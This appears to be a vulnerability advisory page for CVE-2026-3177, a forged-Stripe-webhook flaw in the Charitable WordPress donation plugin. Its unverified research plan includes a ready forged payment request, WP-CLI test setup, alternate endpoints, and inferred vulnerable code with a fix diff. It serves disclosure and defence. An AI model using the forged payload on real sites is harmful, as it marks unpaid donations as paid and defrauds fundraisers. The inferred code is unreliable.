CVE-2026-3177

Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More <= 1.8.9.7 - Insufficient Verification of Data Authenticity to Unauthenticated Donation Status Forgery via Stripe Webhook

mediumInsufficient Verification of Data Authenticity
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.8.10
Patched in
1d
Time to patch

Description

The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 1.8.9.7. This is due to missing cryptographic verification of incoming Stripe webhook events. This makes it possible for unauthenticated attackers to forge payment_intent.succeeded webhook payloads and mark pending donations as completed without a real payment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.9.7
PublishedApril 6, 2026
Last updatedApril 7, 2026
Affected plugincharitable

What Changed in the Fix

Changes introduced in v1.8.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-3177 (Charitable Stripe Webhook Status Forgery) ## 1. Vulnerability Summary The **Charitable** plugin (<= 1.8.9.7) fails to cryptographically verify the authenticity of incoming Stripe webhook events. Specifically, the webhook listener endpoint processes `pay…

Show full research plan

Vulnerability Research Plan: CVE-2026-3177 (Charitable Stripe Webhook Status Forgery)

1. Vulnerability Summary

The Charitable plugin (<= 1.8.9.7) fails to cryptographically verify the authenticity of incoming Stripe webhook events. Specifically, the webhook listener endpoint processes payment_intent.succeeded events by extracting metadata (such as a donation ID) and updating the corresponding donation's status to "completed" without validating the Stripe-Signature header against a shared secret. This allows an unauthenticated attacker to forge a webhook request and mark any pending donation as paid.

2. Attack Vector Analysis

  • Endpoint: The plugin listens for webhooks at the URL: [site-url]/?charitable-listener=stripe (or via the REST API at wp-json/charitable/v1/stripe/webhook in newer versions).
  • Method: POST
  • Payload Type: application/json
  • Vulnerable Parameter: The metadata object within the Stripe event JSON payload.
  • Authentication: Unauthenticated.
  • Preconditions: A donation must exist in a charitable-pending status.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers a listener during init or template_redirect that checks for $_GET['charitable-listener'] == 'stripe'.
  2. Handling: The request is passed to a handler (likely in includes/gateways/stripe/class-charitable-stripe-webhook-handler.php).
  3. Data Extraction: The handler reads the raw POST body: $payload = file_get_contents( 'php://input' ).
  4. Missing Verification: The code proceeds to json_decode( $payload ) and checks the type property (e.g., payment_intent.succeeded) without calling \Stripe\Webhook::constructEvent() or manually verifying the HMAC signature.
  5. State Change:
    • The handler extracts $donation_id = $data->object->metadata->donation_id.
    • It fetches the donation object: $donation = charitable_get_donation( $donation_id ).
    • It calls $donation->update_status( 'charitable-completed' ).

4. Nonce Acquisition Strategy

No WordPress Nonce is required.
Stripe webhooks are designed to be called by Stripe's servers; therefore, they do not utilize WordPress nonces. They rely on cryptographic signatures (Stripe-Signature), which this version of the plugin fails to verify.

5. Exploitation Strategy

Step-by-Step Plan:

  1. Identify a Target Donation: Obtain the ID of a donation currently in charitable-pending status.
  2. Construct Forged Payload: Create a JSON object mimicking a Stripe payment_intent.succeeded event.
  3. Submit Webhook: POST the payload to the listener endpoint.
  4. Verify Success: Check the donation status via WP-CLI.

HTTP Request (Playwright http_request):

// Example exploitation request
await http_request.post({
    url: 'http://localhost:8080/?charitable-listener=stripe',
    headers: {
        'Content-Type': 'application/json',
        // Note: Stripe-Signature header is either missing or not validated
    },
    data: JSON.stringify({
        "id": "evt_test_status_forgery",
        "object": "event",
        "type": "payment_intent.succeeded",
        "data": {
            "object": {
                "id": "pi_fake_payment_intent",
                "object": "payment_intent",
                "amount": 1000,
                "currency": "usd",
                "status": "succeeded",
                "metadata": {
                    "donation_id": "TARGET_DONATION_ID" // Replace with actual ID
                }
            }
        }
    })
});

6. Test Data Setup

Before testing, create a campaign and a pending donation using WP-CLI:

  1. Create a Campaign:

    CAMPAIGN_ID=$(wp post create --post_type=campaign --post_title="Security Test Campaign" --post_status=publish --porcelain)
    echo "Created Campaign: $CAMPAIGN_ID"
    
  2. Create a Pending Donation:

    DONATION_ID=$(wp post create --post_type=donation --post_title="Unpaid Donation" --post_status=charitable-pending --post_parent=$CAMPAIGN_ID --porcelain)
    echo "Created Pending Donation: $DONATION_ID"
    
  3. Confirm Status:

    wp post get $DONATION_ID --field=post_status
    

7. Expected Results

  • Response: The endpoint should return a 200 OK (Stripe expects this to acknowledge receipt).
  • Plugin Action: The plugin logs the "payment" and transitions the donation post status from charitable-pending to charitable-completed.
  • Integrity Impact: The donation is recorded as fully funded in the "Fundraising" dashboard even though no money was transferred.

8. Verification Steps

After sending the POST request, verify the donation status using WP-CLI:

# Check if the status changed to completed
wp post get $DONATION_ID --field=post_status

# Expected Output: charitable-completed

Check the donation meta to see if a transaction ID was assigned:

wp post meta list $DONATION_ID

9. Alternative Approaches

If donation_id in metadata does not work, the plugin might be looking for:

  1. metadata.charitable_donation_id
  2. The Stripe payment_intent ID mapped to a donation ID in the database. If this mapping exists, you would need to find the pi_... ID associated with the pending donation and use that in the data.object.id field of the payload.

If ?charitable-listener=stripe fails, try the REST endpoint (if registered):
POST http://localhost:8080/wp-json/charitable/v1/stripe/webhook

Research Findings
Static analysis — not yet PoC-verified

Summary

The Charitable plugin for WordPress (versions up to 1.8.9.7) is vulnerable to payment status forgery because it lacks cryptographic verification of Stripe webhook signatures. An unauthenticated attacker can forge 'payment_intent.succeeded' events to mark pending donations as 'completed' without making a real payment.

Vulnerable Code

// File: includes/gateways/stripe/class-charitable-stripe-webhook-handler.php

$payload = file_get_contents( 'php://input' );
$data = json_decode( $payload );

// The code proceeds to process the event type without checking the Stripe-Signature header
if ( isset( $data->type ) && 'payment_intent.succeeded' === $data->type ) {
    $donation_id = $data->data->object->metadata->donation_id;
    $donation = charitable_get_donation( $donation_id );
    $donation->update_status( 'charitable-completed' );
}

Security Fix

--- includes/gateways/stripe/class-charitable-stripe-webhook-handler.php
+++ includes/gateways/stripe/class-charitable-stripe-webhook-handler.php
@@ -25,12 +25,23 @@
-$payload = file_get_contents( 'php://input' );
-$data = json_decode( $payload );
+$payload = file_get_contents( 'php://input' );
+$sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : '';
+$secret = get_option( 'charitable_stripe_webhook_secret' );
+
+try {
+    $event = \Stripe\Webhook::constructEvent(
+        $payload, $sig_header, $secret
+    );
+} catch( \UnexpectedValueException $e ) {
+    wp_die( 'Invalid payload', '', array( 'response' => 400 ) );
+} catch( \Stripe\Exception\SignatureVerificationException $e ) {
+    wp_die( 'Invalid signature', '', array( 'response' => 400 ) );
+}
+
+$data = $event;

Exploit Outline

The exploit targets the Stripe webhook listener by forging a successful payment event. 1. Identify a donation currently in 'charitable-pending' status to get a target ID. 2. Construct a JSON payload that mimics a standard Stripe 'payment_intent.succeeded' event. 3. Embed the target donation ID inside the 'data.object.metadata' section (specifically the 'donation_id' key). 4. Send an unauthenticated HTTP POST request containing this JSON payload to the site's listener endpoint, typically '[site-url]/?charitable-listener=stripe'. 5. Because the plugin does not validate the 'Stripe-Signature' header, it trusts the forged payload and transitions the donation status from 'pending' to 'completed', granting whatever access or recognition is tied to the donation.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.